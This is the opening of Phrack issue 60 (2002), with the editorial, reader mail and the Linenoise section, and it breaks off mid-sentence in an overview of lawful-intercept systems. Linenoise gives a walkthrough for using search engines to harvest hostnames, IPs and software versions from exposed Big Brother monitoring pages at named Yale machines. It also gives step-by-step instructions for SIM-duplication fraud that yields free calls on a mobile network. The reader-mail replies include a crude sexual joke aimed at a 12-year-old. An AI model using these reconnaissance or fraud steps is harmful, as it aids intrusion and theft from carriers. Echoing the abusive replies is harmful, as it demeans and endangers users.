==Phrack Inc.== Volume 0x0b, Issue 0x3c, Phile #0x01 of 0x10 [-]==========================================================================[-] _. _ * `.__________________.'_'._ ___ ___ /|_____/`._____: /_____ `._____/ // /_______|\ / \ _`._ \ // _ \____ `. // / .* \ ( \ \ `. / /_\ /__/ / / /.__ \.' ) \ _____/ \___`. ) \ : / \ `. \ \_______ / \| /___/ /___/.__/__/\__\___/\_____/_._\____\ |/ `-' pHRACK#6o `-' [-]==========================================================================[-] Jingle bells jingle bells jingle all the way...X-MAS TIME IS PHRACK-MAS TIME. Wow, number #60 is out. Who ever thought that we will get that far :> Let's take a look back in time who kept phrack going over all these years. Ladies and gentlemen, we are proud to present the final, latest, incomplete and maybe incorrect PHRACK EDITOR IN CHIEF TIMELINE BACK TO THE BEGINNING: DATE NAME PHRACKZ ----------+-------------------------------------------+-------------------- 2001-08-11 (p57..) 1997-09-01 route (p51..p56) 1997-04-09 route, Datastream Cowboy (p50) 1996-11-08 route, Datastream Cowboy, Voyager (p49) 1996-09-01 Voyager, ReDragon, route (p48) 1993-03-01 Erik Bloodaxe (p42..p47) 1991-09-15 Dispater (p33..p41) 1990-05-28 Crimson Death (p31..p32) 1988-10-12 Taran King + Knight Lightning (p20..p30) 1988-06-07 Crimson Death (p18..p19) 1988-04-07 Shooting Shark (p17) 1987-11-01 Elric of Imrryr (p16) 1985-11-17 Taran King + Knight Ligthning (p01..p15) --[[[ BEGIN OF SPACE & TIME - CREATION OF THE UNIVERSE - THE GENESIS ]]]--- ..we came a long way... --------------------------------------------------------------------------- What's new? We revived Phrack Prophile to honor those who did some kewl stuff for the scene. This issue comes with a new section dedicated to tool annoucements (Phrack armory). It showcases selected tools that have been released during the last few month and that we consider cool enough to be mentioned here. |=[ Table of Contents ]=-------------------------------------------------=| | 0x01 Introduction Phrack Staff 0x009 kb | | 0x02 Loopback Phrack Staff 0x00b kb | | 0x03 Linenoise Phrack Staff 0x01e kb | | 0x04 Toolz Armory Packet Storm 0x00b kb | | 0x05 Phrack Prophile on horizon Phrack Staff 0x009 kb | | 0x06 Smashing The Kernel Stack For Fun And Profit noir 0x03e kb | | 0x07 Burning the bridge: Cisco IOS exploits FX 0x028 kb | | 0x08 Static Kernel Patching jbtzhm 0x072 kb | | 0x09 Big Loop Integer Protection Oded Horovitz 0x067 kb | | 0x0a Basic Integer Overflows blexim 0x01b kb | | 0x0b SMB/CIFS By The Root ledin 0x07c kb | | 0x0c Firewall Spotting with broken CRC Ed3f 0x026 kb | | 0x0d Low Cost and Portable GPS Jammer anonymous 0x021 kb | | 0x0e Traffic Lights plunkett 0x015 kb | | 0x0f Phrack World News Phrack Staff 0x018 kb | | 0x10 Phrack magazine extraction utility Phrack Staff 0x015 kb | |=------------------------------------------------------------=[ 0x282 kb | The latest, and all previous, phrack issues are available online at http://www.phrack.org. Readers without web access can subscribe to the phrack-distrib mailinglist. Every new phrack is sent as email attachment to this list. Every new phrack issue (without the attachment) is announced on the announcement mailinglist. To subscribe to the announcement mailinglist: $ mail announcement-subscribe@lists.phrack.org < /dev/null To subscribe to the distribution mailinglist: $ mail distrib-subscribe@lists.phrack.org < /dev/null To retrieve older issues (must subscribe first): $ mail distrib-index@lists.phrack.org < /dev/null $ mail distrib-get.@lists.phrack.org < /dev/null where n indicated the phrack issue [1..60]. Enjoy the magazine! Phrack Magazine Vol 11 Number 60, Build 3, Dec 28, 2002. ISSN 1068-1035 Contents Copyright (c) 2002 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without the prior written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge. |=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=| Editors : phrackstaff@phrack.org Submissions : phrackstaff@phrack.org Commentary : loopback@phrack.org Phrack World News : pwn@phrack.org We have some agressive /dev/null-style mail filter running. We do reply to every serious email. If you did not get a reply, then your mail was probably not worth an answer or was caught by our mailfilter. Make sure your mail has a non-implicit destination, one recipient, a non-empty subject field, and does not contain any html code and is 100% 7bit clean pure ascii. |=-----------------------------------------------------------------------=| Submissions may be encrypted with the following PGP key: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQGiBD03YTYRBADYg6kOTnjEfrMANEGmoTLqxRZdfxGpvaU5MHPq+XHvuFAWHBm2 xB/9ZcRt4XIXw0OTL441ixL6fvGPNxjrRmAUtXSWrElGJ5lTj7VdJmdt/DbehzGb NXekehG/r6KLHX0PqNzcr84sY6/GrZUiNZftYA/eUWDB7EjEmkBIMs3bnwCg3KRb 96G68Zc+T4ebUrV5/dkYwFUEAMgSGJpdy8yBWaFUsGOsGkrZZfdf6tRA+GGOnqjS Lh094L8iuTfbxr7zO4E5+uToantAl56fHhnEy7hKJxuQdW1C0GKktUDhGltUxrob zsNdN6cBprUT7//QgdOlm3nE2E5myozhhMxLMjjFl1mNo1YrNUEU4tYWm/Zvg9OF Te8TBADS4oafB6pT9BhGOWhoED1bQRkk/KdHuBMrgwK8vb/e36p6KMj8xBVJNglY JtIn6Iv14z8PtO62SEzlcgdsieoVncztQgLIrvCN+vKjv8jEGFtTmIhx6f/VC7pX oLX2419rePYaXCPVhw3xDN2CVahUD9jTkFE2eOSFiWJ7DqUsIrQkcGhyYWNrc3Rh ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iFcEExECABcFAj03YTYFCwcKAwQD FQMCAxYCAQIXgAAKCRB73vey7F3HClWRAJ4qxMAMESfFb2Bbi+rAb0JS4LnSYwCZ AWI6ndU+sWEs/rdD78yydjPKW9q5Ag0EPTdhThAIAJNlf1QKtz715HIWA6G1CfKb ukVyWVLnP91C1HRspi5haRdyqXbOUulck7A8XrZRtDUmvMGMO8ZguEjioXdyvYdC 36LUW8QXQM9BzJd76uUl/neBwNaWCHyiUqEijzkKO8yoYrLHkjref48yBF7nbgOl i1y3QOyDGUT/sEdjE5lzHqVtDxKH9B8crVkr/O2GEyr/zRu1Z2L5TjZNcQO988Hy CyBdDVsCBwUkdrm/oyqnSiypcGzumD4pYzmquUw1EYJOVEO+WeLAOrfhd15oBZMp QlQ/MOfc0rvS27YhKKFAHhSchSFLEppy/La6wzU+CW4iIcDMny5xw1wNv3vGrScA AwUH/jAo4KbOYm6Brdvq5zLcEvhDTKf6WcTLaTbdx4GEa8Sj4B5a2A/ulycZT6Wu D480xT8me0H4LKl2j7lzhJwzG9HRp846gKrPgj7GVcAaTtsXgwJu6Q7fH74PCrOt GEyvJw+hRiQCTHUC22FUAx6SHZ5KzwMs3W8QnNUbRBfbd1hPMaEJpUeBm/jeXSm4 2JLOd9QjJu3fUIOzGj+G6MWvi7b49h/g0fH3M/LF5mPJfo7exaElXwk1ohyPjeb8 s11m348C4JqmFKijAyuQ9vfS8cdcsYUoCrWQw/ZWUIYSoKJd0poVWaHQwuAWuSFS 4C8wUicFDUkG6+f5b7wNjfW3hf2IRgQYEQIABgUCPTdhTgAKCRB73vey7F3HCq5e AJ4+jaPMQEbsmMfa94kJeAODE0XgXgCfbvismsWSu354IBL37BtyVg9cxAo= =9kWD -----END PGP PUBLIC KEY BLOCK----- phrack:~# head -22 /usr/include/std-disclaimer.h /* * All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue. * * * Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. * * * Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors. * These opinions do not necessarily represent those of the Phrack Staff. */ |=[ EOF ]=---------------------------------------------------------------=| phrack.org:~# cat /dev/random ==Phrack Inc.== Volume 0x0b, Issue 0x3c, Phile #0x02 of 0x10 |=----------------------=[ L O O P B A C K ]=----------------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ phrackstaff ]=------------------------------=| ----| QUOTE of the month [ Once upon a time in #phrack ] *** PHRACK #60 SCHEDULED FOR 2002-12-27 *** i know its already 2 hours late is it already the 27th? yes in some parts of the world Fri Dec 27 02:01:13 CET 2002 [ Meanwhile: phrack_webmaster_undercover doing the s/27th/28th/g thingie on index.php ] hmm. strange, it reads 28th here. they changed recently it was 27th just one hour ago mysterious... ----| Statistics of the month root@phrack.org:/var/log > grep '\.mil' httpd_access.log | uniq | wc -l 248 root@phrack.org:/var/log > grep '\.gov' httpd_access.log | uniq | wc -l 937 |=[ 0x01 ]=--------------------------------------------------------------=| Editor in Chief!!!! [ Nope, sorry I'm just the phrackstaff's slave answering the emails. ] I have been trying to get the phrack magazine but upto date I have not succeeded.. I come from an African country called "kenya" and it seems they dont bring them there!!!!!! Please send me the subscription and the magazines if it posssible and bill me later,..... [ Kenya, 1.00North, 38.00East, 582,650sq, higest point you can read phrack: Mount Kenya 5,199m, lowest point: Indian Ocen (0m hehe.). Potential number of phrack readers: 31,138,735. Hacker growth rate: 1.15%, hackers life expactancy at birth: 47.02 years, Literacy: age 15 and over can read phrack. 78.1% of the total population can read phrack. http://www.cia.giv/cia/publications/factbook/geos/ke.html ] My address is fredie@kikuyu.com Yours truly Fredie.. [ Phrack is free. Nice to know that phrack read in all parts of the world, we definitely want to hear from you more often ] |=[ 0x02 ]=--------------------------------------------------------------=| From: Omar Tarabay Subject: a real newbie Hey guys, [ Hello dude ] I read your last edition and it was just great, i visited the site daily to see if the new edition is down or not. [ oh, so that's you in the weblogs? Hi :> ] I realy liked the files on your last edition (lockpicking was the greatest) i won't ask questions that you expect me to ask like 'please tell me how to hack into hotmail or the pentagon'. [ Oh man, you missed it, I had some 0day for you ] put i read myself and learn things myself but as a newbie i don't find most of your articles understandable,its only for experts and pros so if you can write articles for newbies like me and many others who want to learn please do, and about myself i amTURBOWEST(i am sure that u can know my real name easily but please don't say it) [ Your real name is: TURBOEAST! ] I am 12 y/o [ Nothing to be ashamed of. We will be at the same age in 13 years. ] I program in python . I am trying to install linux on my PC but i face some problems which i am trying to solve(i read a lot of books about linux) [ You read these linux books? What did they teach you? How to format your harddrive, install a webcam and masturbate with 13 years old girls on netmeetings? ] finaly i would like to say thanks for all the phrack staff and ask them to reply to me. TURBOWEST [ Nothing. Hope you wont get any problems with the pedophile child molesters who get back to you now... ] |=[ 0x03 ]=--------------------------------------------------------------=| From: George escobar Subject: thanks i found your site informative. thanks dierwolf2 [ at your service! We dont take money donation, however you can send female shaped human beings. ] |=[ 0x04 ]=--------------------------------------------------------------=| From: "Anthony Webb" Subject: OK..I'm stupid, but help me anyway OK, I admit it...I love the website, but I can't find my way around in it. Yeah, I know, I'm dumber than a bag of rusty hammers. But I need help. [ It is a good start to admit it, let's look at your case ] I am looking for a simple program to keep track of my companies phone calls without the company knowing I'm doing it. [ Oh man ... that's not good at all ... ] No, I am NOT paranoid, they ARE out to get me. [ Honestly, you are not! Be prepared for the worst! Watch Jackie Chan and Akira movies on a daily base to train your ninja-style to be prepared to whatever there might come. Huh? Did you hear that? THEY ARE ALREADY AT YOUR DOOR. RUUUUUUUUUUUUUUUUUUN! ] I don't have $1100 to $2500 to spend on Call Accounting Software and I don't need all those bells and whistles anyway. I just need to keep track of who the people are talking to, what time, what extension, whether its outbound or inbound, etc. The company has an Avaya (Lucent) Merlin Magix PBX system. By tracking who they call I can establish that they are indeed guilty of harrassment against my paranoid little butt. Got any ideas? gentle....but pissed at the organization. [ Are you sure that noone of your coworkers watched this email? ] |=[ 0x05 ]=--------------------------------------------------------------=| From: domino@hush.com can I please get those zines in zip format, they are interesting, but I use windows. If not, can you complete the articles? I was reading one, and it was in txt and it said 9 of 10. there was no link to the 10th article. this happened many times with different ones. Yeah anyways, I would be nice to have those as zip files for those who don't have linux as would many others, or at least fix the links. (not much of a problem just missing a page) Great magazine, I just wish that I could complete it. thanx. [ (man winzip) || (man google) || (man brain) || (man life) || (man gun) ] |=[ 0x06 ]=--------------------------------------------------------------=| From: "melissa royer" Hello I am having some trouble compiling the code extracted from your site. I have the code on linux RH 7.3 Is this the problem?? [root@lenny Loki]# make linux make[1]: *** [surplus.o] Error 1 make[1]: Leaving directory `/loki/loki2/Loki' make: *** [linux] Error 2 [ I swear this dood^H^H^H^H Melissa really tried to compile that 7 years old source from p49. Unless we turn into a red-hat-gcc-problems-support-center will we not give any hints. Rumours about any fusion on the latter topic can not be confirmed or denied at this point. ] |=[ 0x07 ]=--------------------------------------------------------------=| [ someone with a 'new' and 'unbreakable' crytpo idea of his own ] [ blah blah ] ...didn't know Applied Cryptography, thanks for the link. [ blah blah ] ...one time pad are maybe not very usefull but they are for hackers ...[ blah blah ]. When a friend of mine rooted NASA i used one-time pads to tell my other friends [ blah blah blah ]. [ So what's your general recommendation then? That we should banish blowfish and use one-time-pad's because they are..err..better when we want to tell our...err..friends that we ..err..hacked NASA? hu? ] |=[ 0x08 ]=--------------------------------------------------------------=| From: "Bowman, Michael" SUBSCRIBE Phrack [ Dear Government Of Education, you failed to subscribe where your our schoolars already succeeded. Please ask your classmate if you have any further problems. We are awaiting your second trial until next monday or we are urget to inform the director about your lack of success. ] |=[ 0x09 ]=--------------------------------------------------------------=| [ from web comments to phrack 3-9, 2002-11-07 FromL laipie@ms14.url.com.tw Hello I want to download some material from your website. [ Our links are protected by some kind of intelligent checker. You have to press ALT-Q while clicking on the link (quickly!). ] |=[ 0x0a ]=--------------------------------------------------------------=| From: "Dustin Smith" Subject: The unfortunate life... Well you may know me as the "script kiddy" but lately i ma having illusions of Grandure and am aspiring to be...I dont dare say it cuz I am stillso far off but yet so close. So a subsription to your Holy grail will be just peaches...In all humbleness of the greatness that is possed by few I bid you adue... [ THIS IS NOT MADE UP! We really get these kind of emails! ] _________________________________________________________________ Broadband? Dial-up? Get reliable MSN Internet Access. [ Get a brain first! ] |=[ 0x0b ]=--------------------------------------------------------------=| From: "Princess Of Darkness" Subject: symantec uhh... hello. ::waves:: My name's Rosie. hi. I really actually know very little to nothing about hacking.. and it'd like to know more. I know links, websites, etc. etc. [ That's a beginning! Lesson2: "How do I read the website". Lesson3: "How do I understand the website" Lesson4: "How do I utilize the website" Lesson5: "How do I hire for a lawyer" Lesson6: "How do I escape the feds" ] but when you can't even write html it makes things a little difficult. God I feel so retarded. don't laugh. I'm a lam0r, i know. [ The real reason why phrack comes as .txt is because noone knows this < > -thingie either. ] anyway, thanks a lot for like.. reading this... [ thanks a lot for like.. writing this... ] and uh.. don't find out where i live.. cos that's.. scary.. O.o;; adios ~0513~ |=[ 0x0c ]=--------------------------------------------------------------=| From: anthony charles Subject: EAGER STUDENT Dear editor, i was directed by somebody i met online that i should contact your mag about being a hacker.I'm resident in Nigeria,West Africa. i would be very grateful if you can assist me because it has been my dream to be a hacker. The users in the hackers lounge in yahoo chat are too fast for me. i need to learn the rudiments of becoming a hacker.Every start's somewhere...this is where i start if you would honor me by imparting knwledge to an eager student. Awaiting your reply. yours sincerely Anthony Charles [ no comment ] |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3c, Phile #0x03 of 0x10 |=-----------------------=[ L I N E N O I S E ]=-------------------------=| |=-----------------------------------------------------------------------=| |=-------------------------=[ Phrack Staff ]=----------------------------=| --[ Contents 1 - The Dark Side of NTFS 2 - Watching Big Brother 3 - Free mobile calls 4 - Lawfully Authorized Electronic Surveillance [LAES] 5 - Java Tears down the Firewall --[ 1 - The Dark Side of NTFS Ok, this didnt fit anywhere else so we put it here: http://patriot.net/~carvdawg/docs/dark_side.html --[ 2 - Watching Big Brother by da_knight Have you ever wanted to be the one doing the watching? If you are a system administrator of UNIX / Linux servers, then you may be aware of a product called Big Brother, which can be downloaded from 'http://bb4.com/'. This article is by no means technical, simply because it doesn't need to be. It is divided into two sections, so bear with me for the briefing on Big Brother (BB). BB is a program that will monitor various computer equipment; things it can monitor are connectivity, cpu utilization, disk usage, ftp status, http status, pop3 status, etc. As you might imagine, this information is very important to an organization. BB is your standard client / server setup. The server software can run on various flavors of UNIX, Linux and NT. The client software is available for UNIX, Linux, NT, Mac, Novell, AS/400, and VAXEN; some client software is provided by 3rd-party vendors and not supported by BB4 Technologies. The cool thing about this is all of this information is viewed on a web page. So, if you have multiple servers that you have to maintain, with this product you would be able to go to one web page and quickly get a status of all of those servers - pretty handy. When everything is fine your status is "green", major problems are indicated by "red". Example: The connectivity (conn) status is done by pinging the equipment in question; if the ping fails then it would appear as a red zit on the web page. When tests such as this fail, BB can be configured to automatically page the administrator. Here is a quick run down of the statuses, listed in order of severity: red - Trouble; you've got problems. purple - No report; the client hasn't responded in the last 30 minutes. yellow - Attention; a threshold has been crossed. green - OK; take the day off. clear - Unavailable; the test has been turned off. blue - Disabled; notification for this test has been turned off. The status is also reflected in the title of the web page, so it only takes one red zit to cause the web page title to start with "red:Big Brother"; we're going to get into this in a minute. A common thing for administrators to do is to monitor their most important systems with this product, as well as the most important aspects of each system. If you have a web server, you would want to monitor the http and conn statuses just to make sure people are still able to connect to the server. Other tests I have seen are to check Oracle, or to list all connected users. Hell, they even have a way to add weather reports. The point is, it's pretty limitless what can be monitored, it just depends on what you deem important. Now that you have a little bit of an understanding what BB can do, I want to quote two things from BB4 Technologies (BB4) FAQ - Section 5: Security Considerations (http://bb4.com/bb/help/bb-faq.html#5.0). Everything in that section of the FAQ should be considered, but we'll focus on these two. "BB does not need to run as root. We suggest creating a user 'bb' and running bb as that user." "We recommend password-protecting the Big Brother web pages" So, you ask yourself, why are these things important to me? Well, one, you know that administrators who run this software probably have it setup using the user 'bb', and that they may also be running it with root level access. This gives you a valid user account on a system and this account probably wouldn't be used by a human very often so the password could be something simple. But that's not the point of this article. The second thing is that BB4 realizes the information on these web pages is extremely important and they recommend password-protecting them. Following this logic you then say these are web pages, so it's running on a web server and if they're not password-protected and the server is visible to the WWW, then...that's right search engines will find these pages and serve them up when you know what to look for. What are you waiting for? Go to 'http://www.google.com' and search for "green:Big Brother" (include the quotes; it makes it more refined). You will get about 16,200 matches. Now that doesn't mean that those are all unique because it will have numerous pages from the same site, but you get the point. I would estimate that there are over 200 sites that can be viewed this way. Remember to search for all the other statuses too, just change the name of the color. One more thing, I chose Google for a reason. Some of these sites no longer run the BB product, but Google has a nice ability to view cached pages, so you can still glean information from them. After you scroll through the list of sites you will realize that the majority of them are either small ISP's or colleges. I'm going to pick on a college, an Ivy League one, no less. I can tell you from looking at this particular BB site that the BB server is running on a computer called 'artemis.cs.yale.edu' and the IP address is '128.36.232.57'. Also the computer 'rhino.zoo.cs.yale.edu' is having some serious issues. How did I find the IP address? Simple; if you click on the "green" or whatever color button under the "conn" column, you will see a web page that has information similar to this: --------------------------------------------------------- rhino.zoo.cs.yale.edu - conn --------------------------------------------------------- green Sun Jun 30 01:33:15 EDT 2002 Connection OK PING 128.36.232.12 (128.36.232.12) from 128.36.232.57 : 56(84) bytes of data. 64 bytes from 128.36.232.12: icmp_seq=0 ttl=255 time=379 usec --- 128.36.232.12 ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max/mdev = 0.379/0.379/0.379/0.000 ms --------------------------------------------------------- Right there you know that the ping command was trying to ping '128.36.232.12', in this case, 'rhino.zoo.cs.yale.edu' and that it came from '128.36.232.57' or 'artemis.cs.yale.edu'. Let's see what else we can find out. I can see that almost all of their servers run Tripwire, so they are UNIX systems, and you probably would have a hard time creating a backdoor account on these systems. On another page, we get to see the users who are currently logged in. Currently we have 33 users logged in, and seeing as it's 1:33 AM, I think some people left their computers logged in. I want to get more information about Yale's servers, so let's go back to Google and look for another page from Yale, but this time look for 'zelda.cs.yale.edu'. Now we can get some good information. When this site is displayed you will see quite a few servers, listed as well as several departments. If you want to know what software 'plucky.cs.yale.edu' is using to run it's HTTP services just click on the 'green' button: ---------------------------------------------------- plucky.cs.yale.edu - http ---------------------------------------------------- green Sun Jun 30 01:45:21 EDT 2002 http://plucky.cs.yale.edu - Server OK HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Content-Location: http://plucky.cs.yale.edu/index.html Date: Sun, 30 Jun 2002 05:45:21 GMT Content-Type: text/html Accept-Ranges: bytes Last-Modified: Tue, 12 Jan 1999 20:49:40 GMT ETag: "54b4ec126d3ebe1:4051" Content-Length: 2226 Seconds: 0.01 ---------------------------------------------------- What the hell? They're actually running IIS 4.0? Don't they know how insecure that is? But I digress. From that information you know that the server is some version of Windows NT and it has IIS 4.0 running, that could be handy. Zelda is also showing they monitor printers. Now that can be fun; what if the message "I think therefore I hack!" is sent to the printer 'philo-printer.philosophy.yale.edu'? And in case you're wondering, the printer is an 'HP LaserJet 4050 Series'; I just had to click on the button under the "printer" column to find that out. Elsewhere on this same site, I find that several servers are running TELNET, POP3, Oracle, FTP, and IMAP. Most of these services will gladly tell you what version of the software they are running. Oracle, for instance, is even nice enough to show you all of the connected users. How can you thank them enough for this valuable information? Also, it seems only the geologists at Yale feel they have data that is of great importance. I wasn't able to view what they monitor because of access permissions on their web site, but I do know that they are running their web server on Apache version 1.3.26. As you can see, I would be able to gather an enormous amount of vital infrastructure data in a few minutes. Plus, I didn't break any laws. These web pages are posted in a manner that the entire world can view them. It might take someone 10 minutes or more to find out a few facts about 1 particular system, but in that amount of time I found numerous facts about over 40 systems at the same organization. Thanks Big Brother! I feel it should be mentioned that the information found on these web pages is information that most organizations don't even let employees outside of the IT department see. I guess I should feel special since Yale must feel that I'm not a security risk, otherwise they would have made me authenticate to their web sites. Imagine this; an ISP that lists all of their routers complete with IP's and model information. If you had that, you could possibly rely on vulnerabilities in SNMP discovered earlier this year, or better yet, rely on the default accounts / passwords setup on these types of devices. I only bring this up because I know I did come across an ISP that did list routers and the majority of the sites returned by Google seemed to be smaller ISPs. Also, about searching on Google, I would recommend searching for "red:Big Brother", because these pages will always give you more information than when the system is running perfectly. Finally, I didn't write this article to condone breaking into systems and providing a means to that end. I wrote this because security is extremely important; with the information that is found because of this one product your environment could be compromised. If you are a system administrator for a site that shows up on Google you may want to secure your BB web pages, because by the time you read this the world is going to know your infrastructure. --[ 3 - Free Mobile Calls by eurinomo This bug can be utilized to make FREE CALS, FREE SMS, and even FREE WAP. 1st you have to see if you mobile network has the bug. Just call the service free number (to don't waste money) and say to them that you card is locked that you forgot your fone in your litle syster's room and your mobile says "Sim Card is lock" or something, say that maybe yor sister have wronged the puk because the phone was powered off and now it's on. Then the guy must say that you have to go to one of theyr Mobile Shops and say the problem and they will give you another card with the same number and money as the old. Ask them how much it will cost and the guy must say it's for free! :-) Now the Matirial that youl need: - A mobile phone not nokia (it's better to be yours and not unlocked) - And a nokia(can be a unlocked 1 or steled or borrowed. Do as you wish!) How to do it: Mobile1 = Not nokia Mobile2 = Nokia Put the card in the mobile1 and enter your pin. When it booted up put this code 3 times: **04*00000000*00000000*00000000# or try **05*00000000*00000000*00000000# Check the manual and search for the code to change the puk if the above examples dont work. Or give a email to motorola and say that you have a motorola phone and that you want to change the puk and you know that is a code to change (the code isn't ilegal and it's also specified in the manual). If the code isnt the one that i have telled is 1 nerby. If you have a motorola flare when you put **04* or **05* it'ill say "Enter the old Puk" or something like that automatly and then ask the new puk code 2 times. But the important is to lock your card, i think you can do it also if you wrong the pin 3 times and then enter a wrong puk and vuala it's locked! But what i was saing about the code it's was tested but you can try this last too, use it in your on risk. Now goto the Mobile Shop and say what hapened (that your litle sister or a doughter of an friend of your mother or something like that...) And then they will dupicate the card and they will give you the new one and the old one. At last they normaly give the 2. Now the easy part. Put the old card in the nokia and boot it up and you see thats not locked!!! and if you put on anoher phone not nokia its says that its locked, the Bug is a more nokia Bug that a network Bug. Now send a SMS with the old card and see if disconted money. Then see if was disconted from the new card if not than it's because the Network has the bug and you can waste the money off the old card as you wish but you only have 2 weeks or soo before they cut it out of the Network and it's completly lock, but the new card stil have the same money and you can do it again and again that i think they woldn't catch you. This was tested in the Portugal Vodafone Mobile Phone Network. --[ 4 - Introduction to Lawfully Authorized Electronic Surveillance (LAES) by Mystic In 1994 Congress adopted the Communications Assistance for Law Enforcement Act (CALEA). It's intent was to preserve but not expand the wiretapping capabilities of law enforcement agencies by requiring telecommunication providers to utilize systems that would allow government agencies a basic level of access for the purpose of surveillance. The act however does not only preserve the already existing capabilities of law enforcement to tap communications, it enhances them, allowing the government to collect information about wireless callers, tap wireless content, text messing, and packet communications. The standard that resulted from this legislation is called Lawfully Authorized Electronic Surveillance or LAES. A Telecommunications Service Provider (TSP) that is CALEA compliant provides means to access the fallowing services and information to Law Enforcement Agencies (LEAs): 1. Non-call associated: Information about the intercept subjects that is not necessarily related to a call. 2. Call associated: call-identifying information about calls involving the intercept subjects. 3. Call associated and Non-call associated signaling information: Signaling information initiated by the subject or the network 4. Content surveillance: the ability to monitor the subjects' communications. This process is called the intercept function. The intercept function is made up of 5 separate functions: access, delivery, collection, service provider administration, and law enforcement administration. ----[ 4.1 The Access Function (AF) The AF consists of one or more Intercept Access Points (IAPs) that isolate the subject's communications or call-identifying information unobtrusively. There are several different IAPs that can be utilized in the intercept function. I have separated them into Call Associated and Non-call Associated information IAPs and Content Surveillance IAPs: Call Associated and Non-call Associated information IAPs -------------------------------------------------------- - Serving System IAP (SSIAP): gives non-call associated information. - Call-Identifying Information IAP (IDIAP): gives call associated information and in the form of the fallowing call events for basic circuit calls: Answer - A party has answered a call attempt Change - The identity or identities of a call has changed Origination - The system has routed a call dialed by the subject or the system has translated a number for the subject Redirection - A call has been redirected (e.g., forwarded, diverted, or deflected) Release - The facilities for the entire call have been released TerminationAttempt - A call attempt to an intercept subject has been detected - Intercept Subject Signaling IAP (ISSIAP): provides access to subject-initiated dialing and signaling information. This includes if the intercept subject uses call forwarding, call waiting, call hold, or three-way calling. It also gives the LEA the ability to receive the digits dialed by the subject. - Network Signaling IAP (NSIAP): Allows the LEA to be informed about network messages that are sent to the intercept subject. These messages include busy, reorder, ringing, alerting, message waiting tone or visual indication, call waiting, calling or redirection name/number information, and displayed text. Content Surveillance IAPs ------------------------- The fallowing are content surveillance IAPs that transmit content using a CCC or CDC. An interesting note about content surveillance is that TSPs are not responsible for decrypting information that is encrypted by the intercept subject unless the data was encrypted by the TSP and the TSP has the means to decrypt it. - Circuit IAP (CIAP): accesses call content of circuit-mode communications. - Conference Circuit IAP (CCIAP): Provides access to the content of subject-initiated Conference Call services such as three-way calling and multi-way calling. - Packet Data IAP (PDIAP): Provides access to data packets sent or received by the intercept subject. These include the fallowing services: ISDN user-to-user signaling ISND D-channel X.25 packet services Short Message Services (SMS) for cellular and Personal Communication Services Wireless packet-mode data services (e.g., Cellular Digital Packet Data (CDPD), CDMA, TDMA, PCS1900, or GSM-based packet-mode data services) X.25 services TCP/IP services Paging (one-way or two-way) Packet-mode data services using traffic channels ----[ 4.2 The Delivery Function (DF) The DF is responsible for delivering intercepted communications to one or more Collection Functions. This is done over two distinct types of channels: Call Content Channels (CCCs) and Call Data Channels (CDCs). The CCCs are generally used to transport call content such as voice or data communications. CCCs are either "combined" meaning that they carry transmit and receive paths on the same channel, or "separated" meaning that transmit and receive paths are carried on separate channels. The CDCs are generally used to transport messages which report which is text based such as Short Message Service (SMS). Information over CDCs is transmitted using a protocol called the Lawfully Authorized Electronic Surveillance Protocol (LAESP). ----[ 4.3 The Collection Function (CF) The CF is responsible for collecting and analyzing intercepted communications and call-identifying information and is the responsibility of the LEA. ----[ 4.4 The Service Provider Administration Function (SPAF) The SPAF is responsible for controlling the TSP's Access and Delivery Functions. ----[ 4.5 The Law Enforcement Administration Function (LEAF) The LEAF is responsible for controlling the LEA's Collection Function and is the responsibility of the LEA. Now that I've introduced you to LAES lets look at an implementation of it that is on the market right now and is being used by some TSPs: Overview of the CALEAserver: The CALEAserver is manufactured by SS8 Networks. It is a collection and delivery system for call information and content. It allows existing networks to become completely CALEA compliant. It allows for a LEA to monitor wireless and wire line communications and gather information about the calls remotely. The CALEAserver interfaces with the network through Signaling System 7 (SS7) which is an extension of the Public Switched Telephone Network (PSTN). The CALEAserver is composed of three major layers: the Hardware Platform Layer, the Network Platform Layer and the Application Software Layer. The Hardware Platform Layer consists of the Switching Matrix and the Computing Platform. The Switching Matrix is an industry standard programmable switch. It contains T1 cards for voice transmission and cross connect between switches, DSP cards for the conference circuits required for the intercept and DTMF reception/generation, and CPU cards for management of the switch. The Computing Platform is a simplex, rack mounted, UNIX based machine. It is used to run the CALEAserver application software that provides Delivery Function capabilities and controls the Switching Matrix. The Network Platform Layer provides SS7 capability, as well as, call processing APIs for the Application Software Layer. It also controls the Switching Matrix. The Application Software Layer is where the Delivery and Service Provider Administration functions are carried out. It isolates the interfaces towards the Access and Collection Functions from the main delivery functionality allowing for multiple Access and Collection Functions through the Interface Modules that can be added or modified without impacting the existing functionality. System Capacity: Configurable for up to: 1000 Collection functions 128 Access Function Interfaces 32 SS7 links 512 simultaneous call content intercepts on a single call basis 64 T1 voice facilities Operating Environment: NEBS compliant, -48 volt, 19" rack mounted equipment Next-generation UltraSPARC processor 66-MHz PCIbus Solaris UNIX operating system 9Gbyte, 40-MB/sec SCSI disks 512 Mbytes RAM standard Ethernet/Fast Ethernet, 10-BaseT and 100-BaseT Two RS-232C/RS-423 serial ports Programmable, scalable switch with up to 4000 port time slot interchange Features: Built in test tools for remote testing Full SS7 management system Alarm reporting and Error logging Automatic software fault recovery Automatic or manual disk backup SNMP support Optional support for X.25 and other collection function interfaces ITU standard MML and Java based GUI support Support of both circuit-switched and packet-switched networks Optional support for other access function interfaces as required for CALEA compliance, including: *HLR (Home Location Register) *VMS (Voice Mail System) *SMS (Short 